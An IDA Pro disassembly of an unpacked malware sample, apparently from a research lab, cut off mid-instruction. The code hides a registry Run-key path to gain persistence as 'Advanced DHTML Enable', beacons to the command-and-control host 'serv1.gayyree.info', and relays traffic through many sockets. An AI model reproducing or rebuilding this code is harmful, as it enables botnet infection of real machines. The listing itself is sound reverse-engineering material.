; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : D680890333B0B044FA24B1BB916E4AFC ; File Name : u:\work\d680890333b0b044fa24b1bb916e4afc_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00119000 (1150976.) ; Section size in file : 00119000 (1150976.) ; Offset to raw data for section: 00001000 ; Flags 60000020: Text Executable Readable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _packed segment para public 'CODE' use32 assume cs:_packed ;org 401000h assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= sub_401000 proc near ; CODE XREF: sub_4017F0+DFCp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_401010 mov eax, 7 pop esi retn ; --------------------------------------------------------------------------- loc_401010: ; CODE XREF: sub_401000+7j mov dword ptr [esi+10h], 0 mov dword_409A70, 0 mov ecx, [esi+8] lea eax, [esi+28h] push 10h push eax push ecx call sub_40288A test eax, eax jz short loc_40106C call sub_402884 cmp eax, 2748h jz short loc_40106C call sub_402884 cmp eax, 2735h jz short loc_401062 call sub_402884 cmp eax, 2733h jz short loc_401062 mov eax, 2 mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- loc_401062: ; CODE XREF: sub_401000+4Aj ; sub_401000+56j mov eax, 6 mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- loc_40106C: ; CODE XREF: sub_401000+32j ; sub_401000+3Ej mov dword ptr [esi+0Ch], 0 xor eax, eax pop esi retn sub_401000 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401080 proc near ; CODE XREF: sub_4017F0+742p ; sub_4017F0+9C0p ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ecx push ebx mov ebx, [esp+8+arg_0] push esi push edi mov edi, 1 test ebx, ebx mov [esp+10h+var_4], edi jnz short loc_40109F pop edi pop esi mov eax, 7 pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_40109F: ; CODE XREF: sub_401080+13j push 6 push edi push 2 mov dword ptr [ebx+10h], 0 mov dword ptr [ebx+24h], 0 call sub_402896 test eax, eax mov [ebx+8], eax jge short loc_4010CB mov eax, 3 pop edi mov [ebx+0Ch], eax pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4010CB: ; CODE XREF: sub_401080+3Cj mov esi, [esp+10h+arg_4] push esi call sub_402866 test eax, eax jz short loc_4010EF push esi call sub_402866 cmp eax, 0FFFFFFFFh jz short loc_4010EF push esi call sub_402866 mov [ebx+2Ch], eax jmp short loc_40111D ; --------------------------------------------------------------------------- loc_4010EF: ; CODE XREF: sub_401080+57j ; sub_401080+62j push esi call sub_402860 test eax, eax jnz short loc_401103 mov [ebx+0Ch], edi mov eax, edi pop edi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_401103: ; CODE XREF: sub_401080+77j movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] mov edx, ecx lea edi, [ebx+2Ch] mov esi, [eax] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb loc_40111D: ; CODE XREF: sub_401080+6Dj mov eax, [esp+10h+arg_8] mov word ptr [ebx+28h], 2 push eax call sub_40287E mov edx, [ebx+8] lea ecx, [esp+10h+var_4] push ecx push 8004667Eh push edx mov [ebx+2Ah], ax call sub_402890 pop edi mov dword ptr [ebx+0Ch], 0 pop esi xor eax, eax pop ebx pop ecx retn sub_401080 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401160 proc near ; CODE XREF: sub_4017F0+3A3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push ebp push edi test ebx, ebx jz short loc_4011D3 mov ebp, [esp+0Ch+arg_4] test ebp, ebp jz short loc_4011D3 push esi mov ecx, 0Fh mov esi, ebx mov edi, ebp mov dword ptr [ebx+10h], 0 lea eax, [esp+10h+arg_0] rep movsd mov edx, [ebx+8] lea ecx, [ebp+28h] push eax push ecx push edx mov [esp+1Ch+arg_0], 10h call sub_40289C test eax, eax pop esi jge short loc_4011BC mov ecx, 0Fh xor eax, eax mov edi, ebp rep stosd mov eax, 6 pop edi mov [ebx+0Ch], eax pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_4011BC: ; CODE XREF: sub_401160+43j mov [ebp+8], eax mov eax, [esp+0Ch+arg_0] pop edi mov [ebx+10h], eax mov dword ptr [ebx+0Ch], 0 pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_4011D3: ; CODE XREF: sub_401160+9j ; sub_401160+11j pop edi pop ebp mov eax, 7 pop ebx retn sub_401160 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4011E0 proc near ; CODE XREF: sub_4017F0+254p var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi mov esi, [esp+8+arg_0] test esi, esi mov [esp+8+var_4], 1 jnz short loc_4011FA mov eax, 7 pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_4011FA: ; CODE XREF: sub_4011E0+10j push 6 push 1 push 2 mov dword ptr [esi+10h], 0 call sub_402896 test eax, eax mov [esi+8], eax jge short loc_40121E mov eax, 3 mov [esi+0Ch], eax pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_40121E: ; CODE XREF: sub_4011E0+31j mov eax, [esp+8+arg_4] push edi lea edi, [esi+28h] push eax mov dword ptr [esi+2Ch], 0 mov word ptr [edi], 2 call sub_40287E mov ecx, [esi+8] push 10h push edi push ecx mov [esi+2Ah], ax call sub_402878 test eax, eax pop edi jge short loc_401258 mov eax, 4 mov [esi+0Ch], eax pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_401258: ; CODE XREF: sub_4011E0+6Bj mov edx, [esi+8] push 47D4h push edx call sub_4028A2 test eax, eax jge short loc_401275 mov eax, 5 mov [esi+0Ch], eax pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_401275: ; CODE XREF: sub_4011E0+88j mov ecx, [esi+8] lea eax, [esp+8+var_4] push eax push 8004667Eh push ecx call sub_402890 mov dword ptr [esi+0Ch], 0 xor eax, eax pop esi pop ecx retn sub_4011E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4012A0 proc near ; CODE XREF: sub_4013E0+8Dp ; sub_4017F0+49Dp ... var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 110h push ebx mov ebx, [esp+114h+arg_0] push ebp push esi test ebx, ebx push edi mov [esp+120h+var_108], 0 jnz short loc_4012CD pop edi pop esi pop ebp mov eax, 7 pop ebx add esp, 110h retn ; --------------------------------------------------------------------------- loc_4012CD: ; CODE XREF: sub_4012A0+1Bj mov eax, [ebx+24h] mov esi, [esp+120h+arg_8] add eax, esi push eax call sub_4028C6 mov ebp, eax add esp, 4 test ebp, ebp jz loc_4013D5 mov edi, [ebx+24h] mov ecx, esi mov esi, [esp+120h+arg_4] mov edx, ecx add edi, ebp shr ecx, 2 rep movsd mov ecx, edx xor edx, edx and ecx, 3 rep movsb mov esi, [ebx+1Ch] cmp esi, edx jz short loc_401340 mov ecx, [ebx+24h] mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebx+1Ch] cmp eax, edx jz short loc_40133D push eax call sub_402B18 add esp, 4 mov dword ptr [ebx+1Ch], 0 xor edx, edx loc_40133D: ; CODE XREF: sub_4012A0+89j mov [ebx+1Ch], edx loc_401340: ; CODE XREF: sub_4012A0+6Fj mov esi, [esp+120h+arg_8] mov eax, [ebx+24h] xor ecx, ecx add esi, eax mov eax, [ebx+8] mov [esp+120h+var_110], ecx mov [esp+120h+var_10C], ecx lea ecx, [esp+120h+var_110] push ecx lea ecx, [esp+124h+var_104] mov [esp+124h+var_100], eax push edx push ecx inc eax push edx push eax mov [ebx+24h], edx mov [esp+134h+var_104], 1 mov [esp+134h+var_110], edx mov [esp+134h+var_10C], edx call sub_402872 test eax, eax jle short loc_4013A4 xor edi, edi mov [ebx+10h], edi mov dword_409A70, edi mov edx, [ebx+8] push edi push esi push ebp push edx call sub_4028A8 cmp eax, esi jnb short loc_4013C4 jmp short loc_4013A8 ; --------------------------------------------------------------------------- loc_4013A4: ; CODE XREF: sub_4012A0+E5j mov eax, [esp+120h+var_108] loc_4013A8: ; CODE XREF: sub_4012A0+102j mov [ebx+10h], eax mov [ebx+24h], esi mov eax, 6 pop edi mov [ebx+1Ch], ebp pop esi mov [ebx+0Ch], eax pop ebp pop ebx add esp, 110h retn ; --------------------------------------------------------------------------- loc_4013C4: ; CODE XREF: sub_4012A0+100j push ebp mov [ebx+10h], eax mov [ebx+0Ch], edi call sub_402B18 add esp, 4 xor eax, eax loc_4013D5: ; CODE XREF: sub_4012A0+46j pop edi pop esi pop ebp pop ebx add esp, 110h retn sub_4012A0 endp ; =============== S U B R O U T I N E ======================================= sub_4013E0 proc near ; CODE XREF: sub_4017F0+E80p ; sub_4017F0+F3Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch push esi push edi mov esi, 0BBBh loc_4013E7: ; CODE XREF: sub_4013E0+72j mov eax, dword_409A64 test eax, eax jz short loc_401403 push eax call sub_402B18 add esp, 4 mov dword_409A64, 0 loc_401403: ; CODE XREF: sub_4013E0+Ej lea eax, [esi+1] push eax call sub_4028C6 mov edi, eax add esp, 4 test edi, edi mov dword_409A64, edi jz short loc_401498 mov ecx, esi xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx lea edx, [esi-2] and ecx, 3 rep stosb mov ecx, [esp+8+arg_4] lea eax, [esp+8+arg_8] push eax mov eax, dword_409A64 push ecx push edx push eax call sub_402B47 add esp, 10h add esi, 3E8h cmp eax, 0FFFFFFFFh jz short loc_4013E7 mov edx, dword_409A64 or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, [esp+0Ch+arg_0] push edx push ecx call sub_4012A0 mov esi, eax mov eax, dword_409A64 add esp, 0Ch test eax, eax jz short loc_401493 push eax call sub_402B18 add esp, 4 mov dword_409A64, 0 loc_401493: ; CODE XREF: sub_4013E0+9Ej mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_401498: ; CODE XREF: sub_4013E0+39j pop edi xor eax, eax pop esi retn sub_4013E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4014A0 proc near ; CODE XREF: sub_4017F0+4DCp ; sub_4017F0+C43p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] test esi, esi push edi jnz short loc_4014B2 pop edi mov eax, 7 pop esi retn ; --------------------------------------------------------------------------- loc_4014B2: ; CODE XREF: sub_4014A0+8j mov edi, [esp+8+arg_8] mov eax, [esp+8+arg_4] mov ecx, [esi+8] push 0 push edi push eax push ecx mov dword ptr [esi+10h], 0 call sub_4028AE test eax, eax jge short loc_4014E9 call sub_402884 cmp eax, 2734h jnz short loc_4014EF mov eax, 6 pop edi mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- loc_4014E9: ; CODE XREF: sub_4014A0+30j jnz short loc_4014FA test edi, edi jz short loc_4014FA loc_4014EF: ; CODE XREF: sub_4014A0+3Cj mov eax, 8 pop edi mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- loc_4014FA: ; CODE XREF: sub_4014A0:loc_4014E9j ; sub_4014A0+4Dj mov [esi+10h], eax mov dword ptr [esi+0Ch], 0 pop edi xor eax, eax pop esi retn sub_4014A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401510 proc near ; CODE XREF: sub_401790+26p ; sub_401790+3Ep ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi cmp edi, esi jnz short loc_401524 pop edi mov eax, 7 pop esi retn ; --------------------------------------------------------------------------- loc_401524: ; CODE XREF: sub_401510+Aj mov eax, [edi+8] mov [edi+10h], esi push eax call sub_4028B4 test eax, eax jge short loc_40153F mov eax, 8 mov [edi+0Ch], eax pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40153F: ; CODE XREF: sub_401510+22j mov eax, [edi+1Ch] mov [edi+8], esi cmp eax, esi mov [edi+0Ch], esi jz short loc_401558 push eax call sub_402B18 add esp, 4 mov [edi+1Ch], esi loc_401558: ; CODE XREF: sub_401510+3Aj mov eax, [edi+20h] cmp eax, esi jz short loc_40156B push eax call sub_402B18 add esp, 4 mov [edi+20h], esi loc_40156B: ; CODE XREF: sub_401510+4Dj mov ecx, 0Fh xor eax, eax rep stosd pop edi pop esi retn sub_401510 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401580 proc near ; CODE XREF: sub_4016E0+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx mov ebx, [esp+4+arg_0] test ebx, ebx push esi jnz short loc_401592 pop esi mov eax, 7 pop ebx retn ; --------------------------------------------------------------------------- loc_401592: ; CODE XREF: sub_401580+8j push 11h push 2 push 2 mov dword ptr [ebx+10h], 0 call sub_402896 test eax, eax mov [ebx+8], eax jge short loc_4015B6 mov eax, 3 pop esi mov [ebx+0Ch], eax pop ebx retn ; --------------------------------------------------------------------------- loc_4015B6: ; CODE XREF: sub_401580+29j mov esi, [esp+8+arg_4] push esi call sub_402866 test eax, eax jz short loc_4015DA push esi call sub_402866 cmp eax, 0FFFFFFFFh jz short loc_4015DA push esi call sub_402866 mov [ebx+2Ch], eax jmp short loc_40160B ; --------------------------------------------------------------------------- loc_4015DA: ; CODE XREF: sub_401580+42j ; sub_401580+4Dj push esi call sub_402860 test eax, eax jnz short loc_4015EF mov eax, 1 pop esi mov [ebx+0Ch], eax pop ebx retn ; --------------------------------------------------------------------------- loc_4015EF: ; CODE XREF: sub_401580+62j movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] mov edx, ecx push edi lea edi, [ebx+2Ch] mov esi, [eax] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb pop edi loc_40160B: ; CODE XREF: sub_401580+58j mov eax, [esp+8+arg_8] mov word ptr [ebx+28h], 2 push eax call sub_40287E mov [ebx+2Ah], ax mov dword ptr [ebx+0Ch], 0 pop esi xor eax, eax pop ebx retn sub_401580 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401630 proc near ; CODE XREF: sub_4016E0+8Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_401640 mov eax, 7 pop esi retn ; --------------------------------------------------------------------------- loc_401640: ; CODE XREF: sub_401630+7j mov ecx, [esp+4+arg_8] mov edx, [esp+4+arg_4] lea eax, [esi+28h] push 10h mov dword ptr [esi+10h], 0 push eax mov dword_409A70, 0 mov eax, [esi+8] push 0 push ecx push edx push eax call sub_4028BA test eax, eax jg short loc_401690 call sub_402884 cmp eax, 2734h jnz short loc_401686 mov eax, 6 mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- loc_401686: ; CODE XREF: sub_401630+4Aj mov eax, 8 mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- loc_401690: ; CODE XREF: sub_401630+3Ej mov [esi+10h], eax mov dword ptr [esi+0Ch], 0 xor eax, eax pop esi retn sub_401630 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4016A0 proc near ; CODE XREF: sub_4016E0+97p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_4016B0 mov eax, 7 pop esi retn ; --------------------------------------------------------------------------- loc_4016B0: ; CODE XREF: sub_4016A0+7j mov eax, [esi+8] mov dword ptr [esi+10h], 0 push eax call sub_4028B4 test eax, eax jge short loc_4016CE mov eax, 8 mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- loc_4016CE: ; CODE XREF: sub_4016A0+22j mov dword ptr [esi+8], 0 mov dword ptr [esi+0Ch], 0 xor eax, eax pop esi retn sub_4016A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4016E0 proc near ; DATA XREF: sub_4017F0+26Bo var_13C = byte ptr -13Ch var_100 = byte ptr -100h sub esp, 13Ch push esi mov esi, dword_40804C push edi loc_4016EE: ; CODE XREF: sub_4016E0+A6j push 47D4h lea eax, [esp+148h+var_13C] push offset aServ1_gayyree_ ; "serv1.gayyree.info" push eax call sub_401580 add esp, 0Ch test eax, eax jnz short loc_40177F xor ecx, ecx lea edx, [esp+144h+var_100] mov cx, word_409CFC push ecx push offset dword_409030 push edx call sub_402B97 lea edi, [esp+150h+var_100] or ecx, 0FFFFFFFFh xor eax, eax add esp, 0Ch xor edx, edx repne scasb not ecx dec ecx jz short loc_401754 loc_401737: ; CODE XREF: sub_4016E0+72j mov al, [esp+edx+144h+var_100] lea edi, [esp+144h+var_100] shl al, 1 mov [esp+edx+144h+var_100], al or ecx, 0FFFFFFFFh xor eax, eax inc edx repne scasb not ecx dec ecx cmp edx, ecx jb short loc_401737 loc_401754: ; CODE XREF: sub_4016E0+55j lea edi, [esp+144h+var_100] or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+144h+var_13C] repne scasb not ecx dec ecx push ecx lea ecx, [esp+148h+var_100] push ecx push edx call sub_401630 lea eax, [esp+150h+var_13C] push eax call sub_4016A0 add esp, 10h loc_40177F: ; CODE XREF: sub_4016E0+27j push 0DBBA0h call esi jmp loc_4016EE sub_4016E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_401790 proc near ; CODE XREF: .packed:0040282Dp var_10C = byte ptr -10Ch var_100 = byte ptr -100h sub esp, 100h lea eax, [esp+100h+var_100] push esi push 100h push eax push 0 call dword_408054 mov esi, offset dword_409D00 loc_4017AE: ; CODE XREF: sub_401790+37j mov eax, [esi+8] test eax, eax jle short loc_4017BE push esi call sub_401510 add esp, 4 loc_4017BE: ; CODE XREF: sub_401790+23j add esi, 3Ch cmp esi, offset dword_5172B0 jl short loc_4017AE push offset dword_5172C0 call sub_401510 add esp, 4 lea ecx, [esp+110h+var_10C] push 0 push ecx call dword_408050 push 0 call sub_402967 pop esi nop nop nop nop nop sub_401790 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4017F0 proc near ; CODE XREF: sub_402EE0+C9p var_22E8 = dword ptr -22E8h var_22E4 = dword ptr -22E4h var_22E0 = dword ptr -22E0h var_22DC = dword ptr -22DCh var_22D8 = dword ptr -22D8h var_22D4 = dword ptr -22D4h var_22D0 = byte ptr -22D0h var_12D0 = dword ptr -12D0h var_12CC = dword ptr -12CCh var_12C8 = byte ptr -12C8h var_11C8 = dword ptr -11C8h var_11C4 = dword ptr -11C4h var_11C0 = byte ptr -11C0h var_10C0 = dword ptr -10C0h var_10BC = dword ptr -10BCh var_FBC = dword ptr -0FBCh var_FB8 = dword ptr -0FB8h var_EB8 = dword ptr -0EB8h var_EB4 = dword ptr -0EB4h var_EB0 = dword ptr -0EB0h var_EAB = byte ptr -0EABh var_EAA = byte ptr -0EAAh var_EA9 = dword ptr -0EA9h var_2F4 = byte ptr -2F4h var_1F4 = byte ptr -1F4h var_1F3 = byte ptr -1F3h var_1F2 = byte ptr -1F2h var_1F1 = byte ptr -1F1h var_1F0 = byte ptr -1F0h var_1EF = byte ptr -1EFh var_1EE = byte ptr -1EEh var_1ED = byte ptr -1EDh var_1EC = byte ptr -1ECh var_1EB = byte ptr -1EBh var_1EA = byte ptr -1EAh var_1E9 = byte ptr -1E9h var_1E8 = byte ptr -1E8h var_1E7 = byte ptr -1E7h var_1E6 = byte ptr -1E6h var_1E5 = byte ptr -1E5h var_1E4 = byte ptr -1E4h var_1E3 = byte ptr -1E3h var_1E2 = byte ptr -1E2h var_1E1 = byte ptr -1E1h var_1E0 = byte ptr -1E0h var_1DF = byte ptr -1DFh var_1DE = byte ptr -1DEh var_1DD = byte ptr -1DDh var_1DC = byte ptr -1DCh var_1DB = byte ptr -1DBh var_1DA = byte ptr -1DAh var_1D9 = byte ptr -1D9h var_1D8 = byte ptr -1D8h var_1D7 = byte ptr -1D7h var_1D6 = byte ptr -1D6h var_1D5 = byte ptr -1D5h var_1D4 = byte ptr -1D4h var_1D3 = byte ptr -1D3h var_1D2 = byte ptr -1D2h var_1D1 = byte ptr -1D1h var_1D0 = byte ptr -1D0h var_1CF = byte ptr -1CFh var_1CE = byte ptr -1CEh var_1CD = byte ptr -1CDh var_1CC = byte ptr -1CCh var_1CB = byte ptr -1CBh var_1CA = byte ptr -1CAh var_1C9 = byte ptr -1C9h var_1C8 = byte ptr -1C8h var_1C7 = byte ptr -1C7h var_1C4 = byte ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = dword ptr -1BCh var_1B8 = dword ptr -1B8h var_1AC = byte ptr -1ACh var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_408128 push offset sub_402E08 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 mov eax, 22D0h call sub_402CE0 push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_4], 0 mov [ebp+var_1F4], 53h mov [ebp+var_1F3], 4Fh mov [ebp+var_1F2], 46h mov [ebp+var_1F1], 54h mov al, 57h mov [ebp+var_1F0], al mov [ebp+var_1EF], 41h mov [ebp+var_1EE], 52h mov [ebp+var_1ED], 45h mov bl, 5Ch mov [ebp+var_1EC], bl mov [ebp+var_1EB], 4Dh mov [ebp+var_1EA], 69h mov [ebp+var_1E9], 63h mov dl, 72h mov [ebp+var_1E8], dl mov cl, 6Fh mov [ebp+var_1E7], cl mov [ebp+var_1E6], 73h mov [ebp+var_1E5], cl mov [ebp+var_1E4], 66h mov [ebp+var_1E3], 74h mov [ebp+var_1E2], bl mov [ebp+var_1E1], al mov [ebp+var_1E0], 69h mov al, 6Eh mov [ebp+var_1DF], al mov [ebp+var_1DE], 64h mov [ebp+var_1DD], cl mov [ebp+var_1DC], 77h mov [ebp+var_1DB], 73h mov [ebp+var_1DA], bl mov [ebp+var_1D9], 43h mov [ebp+var_1D8], 75h mov [ebp+var_1D7], dl mov [ebp+var_1D6], dl mov [ebp+var_1D5], 65h mov [ebp+var_1D4], al mov [ebp+var_1D3], 74h mov [ebp+var_1D2], 56h mov [ebp+var_1D1], 65h mov [ebp+var_1D0], dl mov [ebp+var_1CF], 73h mov [ebp+var_1CE], 69h mov [ebp+var_1CD], cl mov [ebp+var_1CC], al mov [ebp+var_1CB], bl mov [ebp+var_1CA], 52h mov [ebp+var_1C9], 75h mov [ebp+var_1C8], al mov [ebp+var_1C7], 0 lea eax, [ebp+var_1C0] push eax push 20006h push 0 lea ecx, [ebp+var_1F4] push ecx push 80000002h call dword_408004 test eax, eax jnz short loc_4019C5 push 100h lea edx, [ebp+var_2F4] push edx push eax call dword_408054 lea edi, [ebp+var_2F4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx lea eax, [ebp+var_2F4] push eax push 1 push 0 push offset aAdvancedDhtmlE ; "Advanced DHTML Enable" mov ecx, [ebp+var_1C0] push ecx call dword_408000 loc_4019C5: ; CODE XREF: sub_4017F0+193j lea edx, [ebp+var_1AC] push edx push 202h call sub_4028C0 push 0 call sub_402A3C add esp, 4 mov esi, eax call dword_40805C imul esi, eax push esi call sub_402CB8 add esp, 4 mov ecx, 0Fh xor eax, eax mov edi, offset dword_5172C0 rep stosd mov ecx, 4356Ch mov edi, offset dword_409D00 rep stosd mov esi, dword_40804C loc_401A14: ; CODE XREF: sub_4017F0+25Ej call sub_402CC2 cdq mov ecx, 0FBFDh idiv ecx add edx, 401h mov word_409CFC, dx push 3E8h call esi xor edx, edx mov dx, word_409CFC push edx push offset dword_5172C0 call sub_4011E0 add esp, 8 test eax, eax jnz short loc_401A14 lea eax, [ebp+var_1C4] push eax push 0 push 0 push offset sub_4016E0 push 0 push 0 call dword_408058 loc_401A6A: ; CODE XREF: sub_4017F0+3D4j xor edi, edi mov [ebp+var_10C0], edi mov [ebp+var_FBC], edi mov eax, dword_5172C8 mov [ebp+var_10BC], eax mov ebx, 1 mov [ebp+var_10C0], ebx mov esi, eax mov [ebp+var_1BC], esi xor edx, edx loc_401A98: ; CODE XREF: sub_4017F0+311j mov [ebp+var_1B8], edx cmp edx, 47D4h jnb short loc_401B03 lea eax, [edx+edx*2] lea eax, [eax+eax*4] shl eax, 2 mov ecx, dword_409D08[eax] test ecx, ecx jle short loc_401B00 cmp ebx, 40h jnb short loc_401AD2 mov [ebp+ebx*4+var_10BC], ecx mov ebx, [ebp+var_10C0] inc ebx mov [ebp+var_10C0], ebx loc_401AD2: ; CODE XREF: sub_4017F0+2CCj cmp dword_409D1C[eax], 0 jz short loc_401AF4 cmp edi, 40h jnb short loc_401AF4 mov [ebp+edi*4+var_FB8], ecx mov edi, [ebp+var_FBC] inc edi mov [ebp+var_FBC], edi loc_401AF4: ; CODE XREF: sub_4017F0+2E9j ; sub_4017F0+2EEj cmp ecx, esi jbe short loc_401B00 mov esi, ecx mov [ebp+var_1BC], esi loc_401B00: ; CODE XREF: sub_4017F0+2C7j ; sub_4017F0+306j inc edx jmp short loc_401A98 ; --------------------------------------------------------------------------- loc_401B03: ; CODE XREF: sub_4017F0+2B4j xor ecx, ecx mov [ebp+var_EB8], ecx mov [ebp+var_EB4], ecx mov [ebp+var_EB8], 2 mov [ebp+var_EB4], ecx lea edx, [ebp+var_EB8] push edx push ecx lea eax, [ebp+var_FBC] push eax lea ecx, [ebp+var_10C0] push ecx inc esi push esi call sub_402872 mov ecx, 2EEh xor eax, eax lea edi, [ebp+var_EB0] rep stosd stosb lea edx, [ebp+var_10C0] push edx mov eax, dword_5172C8 push eax call sub_40286C test eax, eax jz short loc_401BB7 xor ebx, ebx loc_401B66: ; CODE XREF: sub_4017F0+3C5j mov [ebp+var_1B8], ebx cmp ebx, 47D4h jnb short loc_401BB7 lea eax, [ebx+ebx*2] lea esi, [eax+eax*4] shl esi, 2 mov eax, dword_409D08[esi] test eax, eax jnz short loc_401BB4 lea edi, dword_409D00[esi] push edi push offset dword_5172C0 call sub_401160 add esp, 8 test eax, eax jnz short loc_401BB7 push eax call sub_402A3C add esp, 4 mov dword_409D18[esi], eax mov dword ptr [edi], 1 loc_401BB4: ; CODE XREF: sub_4017F0+395j inc ebx jmp short loc_401B66 ; --------------------------------------------------------------------------- loc_401BB7: ; CODE XREF: sub_4017F0+372j ; sub_4017F0+382j ... xor eax, eax mov [ebp+var_1B8], eax loc_401BBF: ; CODE XREF: sub_4017F0+4FEj ; sub_4017F0+56Aj ... cmp eax, 47D4h jnb loc_401A6A lea esi, [eax+eax*2] lea esi, [esi+esi*4] shl esi, 2 mov eax, dword_409D08[esi] test eax, eax jz loc_402817 mov [ebp+var_11C4], 0 push 0 call sub_402A3C add esp, 4 sub eax, dword_409D18[esi] cmp eax, 1Eh jb short loc_401C27 lea edi, dword_409D00[esi] cmp dword ptr [edi], 3 jz short loc_401C27 mov eax, dword_409D38[esi] test eax, eax jz short loc_401C1E push eax call sub_401510 add esp, 4 loc_401C1E: ; CODE XREF: sub_4017F0+423j push edi call sub_401510 add esp, 4 loc_401C27: ; CODE XREF: sub_4017F0+40Ej ; sub_4017F0+419j push 0 call sub_402A3C add esp, 4 sub eax, dword_409D18[esi] cmp eax, 78h jb short loc_401C5E mov eax, dword_409D38[esi] test eax, eax jz short loc_401C4F push eax call sub_401510 add esp, 4 loc_401C4F: ; CODE XREF: sub_4017F0+454j lea ecx, dword_409D00[esi] push ecx call sub_401510 add esp, 4 loc_401C5E: ; CODE XREF: sub_4017F0+44Aj mov eax, dword_409D1C[esi] test eax, eax jz short loc_401C95 lea edx, [ebp+var_FBC] push edx mov eax, dword_409D08[esi] push eax call sub_40286C test eax, eax jz short loc_401C95 push 0 push offset dword_409A6C lea ecx, dword_409D00[esi] push ecx call sub_4012A0 add esp, 0Ch loc_401C95: ; CODE XREF: sub_4017F0+476j ; sub_4017F0+48Dj lea ebx, dword_409D00[esi] cmp dword ptr [ebx], 1 jnz loc_402402 lea edx, [ebp+var_10C0] push edx mov eax, dword_409D08[esi] push eax call sub_40286C test eax, eax jz loc_402402 push 0BB8h lea ecx, [ebp+var_EB0] push ecx push ebx call sub_4014A0 add esp, 0Ch test eax, eax jz short loc_401CF3 push ebx call sub_401510 add esp, 4 mov eax, [ebp+var_1B8] inc 